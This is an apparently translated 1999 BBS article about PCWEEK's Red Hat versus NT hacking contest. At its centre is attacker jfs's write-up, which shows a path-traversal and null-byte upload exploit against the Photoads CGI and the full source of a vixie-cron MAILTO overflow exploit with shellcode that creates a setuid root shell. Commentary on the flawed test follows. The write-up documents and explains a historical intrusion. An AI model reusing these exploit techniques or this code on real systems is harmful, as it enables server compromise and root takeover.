轉信站: GIBBS!news2.ncku!news.ncku!news.csie.ncku!news.cis.nctu!netnews.csie.nc
Origin: sparc20.ee.cycu.edu.tw

PCWEEK 安全測試始末
譯者：dream bird
一、引言

近來（99年9月末），美國的PCWEEK雜誌進行了一次關於作業系統安全的評測，
他們所選擇的系統是Redhat6.0和windows NT4.0。評測的結果很具有戲劇性。
我本想把其中的主要文章翻譯出來，方便大家瞭解。但是，當翻譯了一部分以後
，發現這次評測所涉及的背景相當複雜，如果單獨看一兩篇文章不可能真正的瞭
解這次評測。所以我決定把相關的材料進行綜合，以方便大家閱讀。本文中大多
?譯文，並不完全代表我的觀點，其原文版權歸原文作者所有。
二、背景

美國PCWEEK雜誌（ZDNet 的下屬刊物），是以對PC?品的評測而聞名的。但就象
其名字一樣，他們的評測往往僅限於PC和相關的?品，對於向Linux這樣的具有
UNIX風格的類UNIX系統，他們是缺少經驗的，這就直接的決定了其針對這類系
統的評測的可信度。 在前一段時期，PCWEEK曾經進行過一次有關網路作業系統
運行效率的測試（中文版見 http://www.zdnet.com.cn/），參評的系統有
NetWare5、Redhat5.2、windows NT4.0和SUN的solaris7。其結果令很多人吃驚
，NT4.0的性能似乎比solaris7的都要好。很多人都對其評測的結果表示懷疑，
Novell的副總裁還親自指出了評測中的一些失誤。同時很多具有實際經驗的用
戶指出，系統的效率只是評價系統的一個方面，在實際環境下，可靠性、成本和
其他一些指標往往更加起決定性的作用。有些人更加直接的取笑PCWEEK?PCWEAK
或PCLEAK。 似乎是針對上次的評測的不良反響，PCWEEK決定進行一次關於系統
的可靠性、可用性、安全性和總體擁有成本的系列評測，而評測的第一項就是有
關RedHat6.0和windowsNT4.0的安全性。 與上次評測不同的是，他們避免了單獨
的測試web伺服器和作業系統，轉而採取了另外一種方法。他們在不同的系統上
建立實際的並且類似的應用，然後針對不同的系統上建立的類似的應用來評測該
系統。這種方法看似合理，但卻對進行評測的技術人員要求較高，進行起來有一
定的難度。實踐證明，正是由於這點導致了評測的戲劇性的結果。
三、經過

本文以下部分綜合了與這次評測有關的內容，原文您可以從
 http://www.hackpcweek.com/ 和 http://www.redhat.com/ 找到。
PCWEEK?本次評測準備的開場白很有趣：
"懸賞一千美金，來攻擊我們的伺服器
如何對系統的安全進行測試呢？我們首先在兩種作業系統上安裝類似的應用程式
，然後讓全世界來攻擊。與過去不同的是，本次評測中伺服器上運行的是現實世
界裏的程式，具體說來，是一個?報刊類站點設計的分類廣告系統。這個測試不
但是對作業系統的考驗，同時也是對整體的測試。在NT平臺，我們將採用ASP、
IIS、MTS和SQLServer 7；在Linux平臺上，我們將採用Apache和mod_perl。
遊戲規則
所要攻擊的目標是securelinux.hackpcweek.com和securent.hackpcweek.com。
贏得1000美金禮卷的條件是成功的修改主頁，或者取得一個名?top secret的絕
密文件。我們拒絕任何人在沒有取得成功的情況下，破壞伺服器的運行。"
PCWEEK給出了簡單的伺服器配置清單。針對NT的配置清單很長，完全可以說這
種配置是完美的了；而對於RedHat的配置短到了只有20行，每行大都只有三五
個單詞，可以說一般的用戶配置都會接近這個水準。以下是對RedHat的配置清
單：
"在磁片上配置多個分區/usrvartmpvar（原文如此）。
安裝RedHat 6.0 ，並且不安裝SMTP、FTP和NEWS等服務。
安裝Photoads （一個第三方軟體，由perl寫成的CGI，實現用戶載入分類廣告的
功能，詳見 http://www.hoffice.com/），
Chmod 777 the photoads directory ，
Chmod 755 cgi-bin ，
Chmod 766 kas_data.pl ，
Chmod 766 adnumber.num ，
Chmod 766 ads_data.pl ，
Chmod 755 all *.cgi files ，
?photoads配置缺省目錄，
將上載文件的長度設置?0，
刪除不需要的用戶 。
Set root password to （to what？）。
在inetd.conf中禁止所有的服務。
以用戶nobody來配置並運行 Apache伺服器，
禁止SSI（server side includes ）。
這種配置實現了security-howto中的建議和apache group的安全提示。"
PCWEEK到底真的實現了security-howto的建議了?？實際是沒有的，作?一個系統
管理人員，你的責任就是維護系統的運行，其中包括很重要的一點，就是更新有
漏洞的軟體。而且UNIX是極其靈活的系統，這種軟體的更新完全可以自動的由系
統來進行。 在如上所述的情況下，PCWEEK就將兩台伺服器安置在了防火牆後面，
並且保留web服務的80號埠，以便訪問和攻擊。
結果是顯而易見的，但對於一個有關作業系統的安全性的測試又是很有戲劇性的
。首先是在RedHat上安裝的第三方軟體存在漏洞，使一名叫jfs的cracker得以進
入系統；然後jfs他們利用一個已知的系統漏洞（修補程式已經發佈一個月左右了
）得到了root的許可權，並成功的修改了伺服器的主頁。
以下是jfs對攻擊過程的?述：
"一次實際攻擊的解析（攻擊PCWEEK伺服器）By Jfs
首先，我必須搜集有關要攻擊的主機的資訊，看一看開放了哪些埠，有哪些埠可
能進行攻擊。經過一翻檢查，我發現大部分的埠不是被防火牆保護著，就是由於
tcp wrapper的原因而不能使用，只有HTTP伺服器可以下手了。
lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
好，這是一台運行apache和Red Hat的機器。從PCWEEK的提示得知這台伺服器也
應該運行mod_perl，但是mod_perl會在伺服器上留下一些特徵，而這台伺服器所
發的報頭卻並沒有這些?象。 Apache 1.3.6並沒有附加任何遠端的用戶可以使用
的CGI程式，但我並不知到RedHat是否加了一些進去，所以我試著攻擊了一些常
見的CGI漏洞（tect-cgi，wwwboard，count.cgi……）
在試驗無效的情況下，我試著找出這個web站點的目錄結構，從HTML 頁所獲得的
資訊我推斷，這個web伺服器在DocumentRoot下有如下目錄：
/
/cgi-bin
/photoads/
/photoads/cgi-bin
我馬上對photoads?生了興趣，我想這很可能是一個可安裝的套裝軟體。經過一
翻網上搜索，我終於發現這個photoads是一個由"The Home Office Online"
（www.hoffice.com）發行的商業套裝軟體，售價149美圓，並且允許你使用其原
代碼（perl），這樣你就可以修改它了。 \我求助於一位朋友，讓我看看他的
photoads。這使我有機會看到securelinux上所使用的軟體的拷貝。 我看了缺省
的安裝文件，我可以從廣告資料庫
（在 http://securelinux.hackpcweek.com/photoads/ads_data.pl）中獲得所
有用戶的廣告口令。我也試著訪問配置文件 /photoads/cgi-bin/photo_cfg.pl
，但由於伺服器的安裝設置使我沒法達到目的。 我發現，通過腳本
/photoads/cgi-bin/env.cgi（類似test-cgi）我可以知道DocumentRoot目錄在
文件系統中的位置（/home/httpd/html），另外還有一些其他的有用的資料
（伺服器以什?用戶的身份運行的，這次是以nobody來運行的）。
所以，我首先試著用SSI（Server side includes ）和mod_perl 向HTML中嵌
入命令，方法如下：
<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
通過一個perl正則運算式，伺服器的腳本過濾掉了大部分輸入，幾乎沒有多少空
間可以使用。但我也發現了一個由用戶付值量，它在變成HTML代碼之前並沒有對
奇怪的變數值進行檢查，這就給我了一個機會可以在HTML代碼中嵌入命令，以便
伺服器端解析。
post.cgi的36行如下：
print "you are trying to post an AD from another URL:<b>
$ENV{'HTTP_REFERER'}\n";
$ENV{'HTTP_REFERER'}是一個由用戶提供的變數（?了保證正確性，你得瞭解一
些HTTP報頭的工作原理），這個變數可以讓我們把任何HTML代碼加進去，不管
代碼到底是什?樣。 該真正的用getit.ssi和getit.mod-perl（兩個小程式，此
處略去）工作了
我們採用以下的方法：
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
但不幸的是這台機器並未配置SSI和mod_perl，我鑽進了死胡同。
我決定從CGI腳本中找漏洞。perl腳本的漏洞大多出在open()、system()或者 ''
調用中。前者允許讀寫和執行，而後兩個允許執行。
程式中並沒有後兩個情況出現，但的確有幾個open()調用：
lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$
write_file $!");
photo.cgi: open ( FILE, $filename );
(...)
對 $BaseDir 和 $DataFile我們動不了什?手腳，因?它們都是在配置文件中定義
的，程式運行以後是改變不了的。
$mailprog 也是如此
但其餘的兩行值得好好研究
photo.cgi 的132行如下：
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
如果我們可以修改變數$write_file，那?我們就可以寫系統中任何文件了。
這個$write_file變數定義如下：
$write_file = $Upload_Dir.$filename;
$Upload_Dir 是由配置文件定義的，我們沒法修改，那?$filename呢？
photo.cgi的226行如下：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}
$filename的值來自$UPLOAD{'FILE_NAME'}（是由表格提交給CGI的變數中解析出
的）。?了讓我們到我們希望到的地方，$filename必須滿足一個正則運算式，我
們不能簡單的發送我們需要的檔案名，
例如"../../../../../../../../etc/passwd "就是不行的，它在通過如下的替
換後，將什?也得不到：
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
如果$filename與這個正則運算式相匹配，那?它將變成ASCII碼的1（SOH）。
除此之外$filename還必須包括"gif"或"jpg"，否則它將無法通過
Not_Valid_Image的檢查。 在進行了一翻嘗試，我終於在Phreck的有關perlCGI
的安全的文章的幫助下發現了
/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif
可以讓我們提交index.html文件（我們必須修改的主頁）。但在上載前，我們
還得想辦法騙過一些腳本代碼。 我們發現如果我們以POST的方法發送表格的話
，我們就不能蒙混過關（%00將不會被解析），所以我們只能用GET了。
在photo.cgi的256行，我們可以看到一段代碼會對我們剛剛上載的文件的的內
容進行檢查，如果文件不符合特定的圖像規格（主要是寬、高和大小），腳本
將會刪除或改寫該文件，這是我們所不希望見到的，至少我們要在伺服器上留
下一些我們的資料。（注意，photo.cgi腳本可以用來上載一個由你的廣告使
用的廣告圖片。） PCWEEK在配置文件中將ImageSize設置成0，所以我們不用
去管有關JPG的部分，讓我們將注意力集中於GIF部分。
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) =
unpack $gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}
photo.cgi的140行如下：
if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}
所以我們不得不把$PhotoWidth設置成小於700，不是""，並且比ImgWidth小
（缺省是350）。所以有$PhotoWidth !="" && $PhotoWidth<350。
對於$PhotoHeight，它必須比$ImgHeight 小（缺省是250）。所以
$PhotoWidth = $PhotoHeight = 0 正好。從腳本中的付值方法來看，我們只
要將該值的第6和9位元組置0（NUL）就可以了。 我們保證我們的FILE_CONTENT
符合以上的條件，並繼續進行下一步了……
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);
經過以上的代碼，我們的文件被重命名或者說移動到了我們不希望的地方了。
查看有關$AdNum變數值的最後代碼，我們看到它只能包含阿拉伯數字：
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
其他的東西都將被去掉，所以我們不能在這兒使用../../../的矇騙手法了。
怎?辦？rename()函數需要兩個路徑參數，一個是新的，一個是舊的……等等，
這個函數沒有錯誤檢驗，所以如果它出錯的話，程式就會跳過去，我們怎樣能
使它出錯呢？用一個非法的檔案名。Linux系統缺省的最長的檔案名的限制是
1024（MAX_PATH_LEN），所以如果我們能讓這個腳本把我們的文件重命名成一
個比1024位元組長的文件的話就行了。
下一步我們將提交一個大約1024位元組的廣告編號（AD number）。
現在，腳本沒有如設想的運行，因?他只允許我們上傳存在的廣告編號的圖片。
（做那個10^1024的數位花了我們不少的時間。） 又是一個死胡同？
沒有，那個不完善的輸入檢測函數讓我們有機會進一步的改進這個數位。
簡單的瀏覽一下edit.cgi這個腳本，想一想，如果你輸入一個名字然後是回車，
最後是那1024個數位，會發生什?？哈哈，有了。 那個long.adnum文件讓我們
有機會建立一個新的廣告。
當我們可以騙過了廣告編號檢查後，我們可以利用腳本辦到以下的事情：
建立/改寫任何nobody有許可權的文件，並且可以使該文件是我們希望的內容
（除了?GIF留的有NUL的文件頭）。 好，讓我們試試。
確認腳本overwrite.as.nobody允許我們得到以上的許可權。
直到目前?止一切良好，我們調整腳本以便改寫index.html……但是沒成功。
可能是我們沒有許可權改該文件（可能因?文件的所有者是root，或者文件沒
設置寫許可權）。怎?辦？我們另尋出路吧。 我們試著改寫一個CGI，看看我
們能否讓它?我們工作。這樣我們就可以尋找"絕密"文件了，那就勝利在望了。
 我們修改了overwrite腳本，很好，他允許我們改寫CGI！
我們決定不修改那些重要的（相對嚴謹）的CGI，我們選擇了advisory.cgi
（管它是幹什?的呢？）。
這樣我們就可以上傳一個能允許我們執行命令的shell腳本了，太好了……
但是，當你以CGI的形式運行shell腳本的時候，你得在腳本的第一行對此加
以說明，就象下面這樣：
#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print
但是，別忘了，我們的第6、7、8、9位元組必須是0或者一個很小的值，以適應
有關圖形大小的規定…… #!/bi\00\00\00\00n/sh
這樣是不行的，內核唯讀了前5位元組，然後就試圖去執行"#!/bi"……就我所知
，還沒有我們可以運行的3個位元組（外加#!兩個位元組）的shell。又是死胡同……
一個ELF（linux的缺省的可執行文件的格式）文件給了我們答案，結果我們成
的將那幾個位元組置成了0x00，太妙了。 現在我們需要將一個ELF可執行文件放
到遠端的伺服器上。我們必須使它符合URL的標準，因?我們只可以用GET的方法
，不能用POST，這樣我們至少要符合最長URI的限制。對於Apache伺服器最長的
URI?8190位元組，別忘了我們還要用一個很大的1024個字元的數位，所以給我們
的符合URL標準的ELF程式留下的空間只有7000位元組了。
它只能是個小程式了。
lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}
編譯後如下：
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
然後讓它符合URL的標準：
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url
要在我們的腳本中使用的話，它是過大了。
我們只有靠我們的直覺來手工編輯這個二進位文件了，我們決定將這個可執行
文件中"GCC"字串後的所有內容都刪除。這?做幾乎沒有任何理論的根據，如果
要根據的話就得研究ELF規範了，但是這?做似乎還可以：
lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
現在，我們合併我們的工作成果，然後運行……
我們查看在我們目錄中的名?get、sec、find的文件，希望獲得更多的資訊。
在這裏你會找到to_url 腳本，和一些簡單的C文件，這些東西和URL一起解析，
就大功告成了。 現在我們上載這個CGI，然後用我們喜歡的瀏覽器訪問它：
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
這樣我們對伺服器上的/ 進行了全面的查找。
但是他們的"絕密"文件沒在那，或者以nobody的身份無法訪問。
我們嘗試了一些命令組合，如locate、ls和一些其他命令，但無濟於事。
如果這個文件存在，那?它究竟在哪。
現在問題嚴重了，必須要root的許可權了。正象我的一位朋友說的那樣，有現成
的?什?不用呢？所以，根據我們知道的有關那台伺服器的情況（Linux，i386，
因?我機器就是i386，並且我的那個ELF文件已經在它上面運行了）。我們查找了
軟體更新的資料，發現了一個對所有版本的RedHat都可以利用的crontab漏洞（
譯者注：細節將在後面討論）。
你可以在最近的 bugtraq/securityfocus 中找到。太好了，我們根據我們的需
要對其加以修改，顯然我們根本不需要一個交互的根用戶shell，我們只要做一
個nobody可訪問的suidroot的shell就行了：
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>
char shellcode[] =
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
"\xff/tmp/w00w00";
int main(int argc,char *argv[])
{
FILE *cfile,*tmpfile;
struct stat sbuf;
int x;
chdir("/tmp");
cfile = fopen("/tmp/cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH);
fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n* * * * * date\n");
fflush(cfile);
fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash /tmp/.bs\nchmod 4755
/tmp/.bs\n");
fflush(tmpfile);
fclose(cfile),fclose(tmpfile);
chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);
execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0);
}
經我們修改後，使這個shell指向了/tmp/.bs。我們重新上載CGI，並且用我們的
瀏覽器使其運行，然後我們就準備進行測試了。
我們做了一個CGI進行初次測試，它將執行ls /tmp。我們確實實現了suidroot。
( ... )
execlp("/bin/ls","ls","-ula","/tmp",0);
( ... )
我們接著將一個用來替換index.html的文件上載到了/tmp/xx。
( ... )
execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
( ... )
應該做最後要運行的程式了：
( ... )
execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
( ... )
遊戲到此結束了。
共耗時20小時。
最後我們將我們的資料上載並拷貝到了一個安全並且nobody可見的地方，然後向
討論組發了一個消息並且開始等待回音了。
（從 http://hispahack.ccc.de/programas/pcweek.zip 可以下載我們所用的程
式和一些腳本。）
Jfs - !H'99
jfs@gibnet.gi
http://hispahack.ccc.de "
有關Redhat的cron安全漏洞的資訊可以在Redhat的web站點找到。具體的情況如
下：
"RedHat公司安全建議
Package vixie-cron
Synopsis Buffer overflow in cron daemon
Advisory ID RHSA-1999:030-02
Issue Date 1999-08-25
Updated on 1999-08-27
Keyword svixie-cron crond MAILTO
……
詳細描述：
通過建立一個帶有特殊的、格式化的MAILTO環境變數的crontab ，本地用戶有
可能使cron服務程式的cron_popen() 函數中的定長緩衝區發生溢出。由於cron
守護進程是由root來運行的，所以從理論上講，本地用戶是有可能利用這個溢出
來獲取root的許可權的。
……
解決辦法：
針對不同的體系結構的硬體，下載不同的RPM包
然後運行 rpm -Uvh <檔案名>
然後運行/etc/rc.d/init.d/crond restart 來重新?動cron進程。
……"
從以上的資料可以對整個的攻擊過程一目了然了。RedHat在8月25日發現的漏洞，
然後在8月27日這個漏洞就得到了修補。系統安全不是一個狀態，而是一個過程。
事情整整經過了一個月，就是再懶惰的系統管理員也會?重要的伺服器系統安
裝上修補後的程式了，但是PCWEEK的測試人員卻沒有進行這項工作。更有甚者，
PCWEEK 在這次測試之後，又進行狡辯： "針對這次的測試，很多人批評我們
沒有?RedHat6.0更新二十一個系統安全的補丁。我們的解釋如下：本次測試中
，我們僅僅安裝了從軟體廠商那得到的軟體（當然不包括應用程式）。我們並
未對NT伺服器多加關照。我們確實?NT安裝了service pack 5，但是這主要是
因?SP5只有一個文件。"
在此我們不討論NT的SP5中到底有什?寶貝，我們僅僅討論一下系統更新的問題。
類UNIX系統（如GNU/Linux）是非常靈活的，再加上RedHat是以RPM的形式來對軟
體進行管理的，軟體更新不應當是問題。如果是謹慎的系統管理員，會加入有
關安全的郵件列表，如redhat-watch-list-request@redhat.com和
redhat-announce-list-request@redhat.com，隨時手動的更新系統；如果是
懶惰的系統管理員，他完全可以編寫一個系統更新的腳本，然後將其加入
crontab中了事（RPM是完全的支援通過FTP進行系統更新的）。無論採用以
上哪種方法，也不會象PCWEEK那樣被動了。 除此之外，PCWEEK還對有關第三
方軟體（photoads CGI）造成的漏洞做了如下的辯解：
"在此次測試中出現的問題使我們對開放原代碼軟體?生了懷疑，我們可以肯
定的說，如果這個破壞我們系統的hacker沒有看到我們的腳本代碼的話，他是
不可能成功的。……" 首先，這個第三方軟體並不是開放原代碼軟體，如果你
不獲得許可協定的話，你是無法獲得原代碼的，這就直接的決定了該軟體的性
質並不是開放原代碼的，開放原代碼軟體的主要的評判標準應該是這個軟體的
開發方法是否?開放原代碼的方式。
其次，如果PCWEEK是公正的話，他們在使用該軟體做這樣的一個測試之前，
?什?沒有對軟體的安全性進行檢察呢？至少PCWEEK是有權力並且有能力（值得
懷疑）修補這個軟體的安全漏洞的。 這個混亂並且非常具有戲劇性的評測並未
就此了事，整個Linux社區對這次測試反映非常的強烈，很多用戶和媒體都發表
了評論。
四、評論

在Linux伺服器被攻擊後的一周內，linux weekly news就針對這次測試做了簡要
的評論，其譯文如下： "在PCWEEK的測試中，有人成功的修改了Linux伺服器的
網頁，這也許會使所有的反Linux份子感到欣慰。但在用這件事?證據來證明
Linux存在安全隱患之前，我們應當花些時間來看一看這個系統是如何被破壞的
。你可以在PCWEEK的網站（www.hackpcweek.com）看到這次攻擊的具體過程。
這次攻擊可以分成兩個步驟。第一步是使任意的程式可以在伺服器端運行。這
個cracker（代號?jfs）利用了photoads CGI腳本的漏洞達到了這個目的，
photoads是PCWEEK在目標站點上運行的一個提供分類廣告的CGI腳本程式。
並非Linux和Apache導致了這個安全漏洞。顯而易見，是一個第三方的商業
軟體導致了這個漏洞。 可以在目標系統中運行程式之後，這個cracker需要
使用root許可權。由於該系統沒有進行必要的針對系統安全的軟體升級，具體
的說，沒有對cron進行更新，而RedHat在8月25日就發佈了這個安全補丁。
jfs只需要執行一個簡單的、並且是現成的攻擊程式，root的許可權就到手了。
我們可以得到這樣一個結論，這次測試中的Linux伺服器是並未經過安全配置的
。一個用來做安全測試的系統，至少應當更新有關系統安全的軟體。並且對於將
要使用的第三方軟體，應當給予慎重考慮。" 有關Linux的另一個新聞站點
linuxtoday也發表了許多讀者的文章，評論這次所謂的評測。在此我選擇了一
篇有代表性的文章，您可以在
 http://www.linuxtoday.com/stories/10767_flat.html 找到原文。
譯文如下：
"ZDNet 承認在最近的安全評測中存在錯誤
Oct 4, 1999, 23:19 UTC
By Arne W. Flones
針對近來的hacker攻擊PCWEEK的測試，ZD實驗室在今天承認了他們由於嫌麻煩的
緣故，故意的沒有對兩個參評系統之一的RedHat系統更新二十一個安全補丁。
（詳見PCWEEK的文章：CGI script opens door）
在這次所謂的安全評測中，ZDNet邀請hacker們（應該是cracker吧）攻擊兩個
不同的參評系統，其中一個運行Windows NT，另一個運行RedHat發行的GNU/Linux。
這次測試可以看作是八月份的有關NT和Apach+Linux的類似測試的延續。在Linux
團體一致批評該測試缺乏客觀性的情況下，ZDNet的主任John Taschek 作出了
如下的解釋：PCWEEK組織這次測試的目的是檢驗系統的安全性能。我們並不關
心哪種作業系統先被闖入。我們所希望的是在實踐的基礎上?實現系統安全確立
一定的基本原則。最後他說，我們並不關心勝負，我們也將不評論勝負。僅僅
是一次實踐。他們對別人的異議置之不理，繼續進行這次所謂的評測。在9月24
日，一名cracker利用了web程式和crond程式的漏洞成功的攻擊了Linux系統。
當這名cracker所使用的攻擊方法被公開之後，人們立刻發現這兩個安全漏洞很
容易就可以被堵住。第一個安全漏洞是由CGI腳本引起的，只要在編寫腳本時對
系統安全稍加重視就可以避免。這是一個單獨的應用程式的問題，與Linux系統
無關。第二個安全漏洞在八月份就已經被RedHat公開並解決了。就算是ZDNet忽
略了第一個漏洞，但他們完全應當知道第二個漏洞。這個cracker是利用了兩個
安全漏洞才得以成功的。
今天，ZDNet 透露了，他們故意的沒有?Linux系統安裝21個有關安全的補丁程式
，其中就包括防止那個cracker所使用的攻擊方法的補丁程式。這種說法馬上在
資深用戶、安全專家和Linux 團體中引起了很大的反響。
作?構成Linux 的一條基本原則，Linux對任何人都是自由的，完全沒有理由去等
待一個安全更新公開發行後再更新系統。這種安全補丁在Linux世界裏是非常普
通的。每當一個發現安全漏洞之後，很快就會有人對其進行修補，並且補丁程式
很快就會在公開的網路論壇中發佈。開放原代碼的特點使得任何人都可以對補丁
的正確性進行檢驗。典型的，同補丁程式一起發佈的還有一個能對這個安全漏洞
進行攻擊的程式。這種方法可以戲劇性的減少更新系統所帶來的風險。通常這種
更新對系統改變是很小的，並切是很容易單獨進行測試的。這樣只需要很少的努
力、很短的時間，IT主管就會瞭解到實際的效果，而這些補丁程式也就會自然而
然被的加入重要的系統中去了。這種做法的結果就是這些補丁很快就會在系統中
發揮作用，使公司的資料安全得到保證。
這與Windows NT世界裏的情況是完全不同的，在NT的世界裏微軟控制著全部的原
代碼。由微軟Windows 的特性所決定，Windows的用戶必須容忍安全漏洞，直到
微軟發佈一個很大的server pack?止，而且這種發佈還不是經常性的。這種安全
策略是值得懷疑的。而且對這些補丁程式的測試也是一場噩夢，其原因在於無法
單獨的對每一個修補進行測試。並且由於微軟將所有的補丁程式和系統改進做到
了一個程式裏，這種方法使得在企業範圍內進行安裝變得很危險。人們不知道將
會發生什?。顯而易見，Windows和Linux的世界中有不同的遊戲規則，ZDNet 實
驗室卻忽略了這一點。
針對人們對ZD簡單的、不公平的忽略了21個安全補丁程式的抱怨，ZDNet 給出了
如下的解釋：大型企業往往不願更新21個單獨的修補程式，反之更願意去使用一
個很大的，並且內容很混亂的修補程式。ZDNet 沒有?這種荒謬說法提供任何的
根據。這種說法是缺少實踐和理性的。完全沒有理由說微軟的那種無法測試的、
集成化的軟體比比幾個小的、易於管理的軟體更加優越。值得注意的是：雖然
ZDNet忽略了21個很小的、便於檢驗的補丁程式，但在測試中他們並沒有忽略微
軟那個最新的、龐大的NT SP5。
ZDNet的說法是站不住腳的。ZDNet不僅要對那個蹩腳的CGI腳本負責，而且也要
對忽略了21個已知的安全漏洞負責。今天他們承認由於故意的沒有安裝補丁程式
導致了測試的失敗。他們知道任何cracker都會首先攻擊這21個弱點。毫不奇怪，
僅僅幾天Linux系統就被破壞了。ZDNet 的無能決定了這個結局的必然性。
這是典型的瀆職行?。以ZDNet現在的技術水平，他們是不可能進行客觀的評測的
。以我對此事的瞭解，繼續開這種毫無意義的玩笑是不負責任的。"
其他方面的評論也很多，在此我就不一一列舉了。相信通過以上的兩段譯文，
您已經對這個評測有更深的理解了。
五、總結

正當我的翻譯工作快要進行完時，微軟在其網站上發表了一篇題?
《Linux的神化》的文章，對Linux 進行了很全面的貶低，在其文章中多
次的引用了PCWEEK的測試結論。如果對PCWEEK的測試不是很瞭解的讀者，
一定會被微軟的文章所迷惑。由此可見，評測的確有很大的片面性。如果
要真正的評價一個系統的好壞，不能單單只看評測，實踐才是檢驗真理的
唯一標準！

--------------------------------------------------------------------------------
版權所有 1999 NJLUG
出版於第45期《Linux公報》1999年9月 中文版第十一期


--
※ Origin: 中原電機心站 ◆ From: h136.s104.ts32.hinet.net
--
Origin: 中原電機心站 bbs.ee.cycu.edu.tw (140.135.12.1)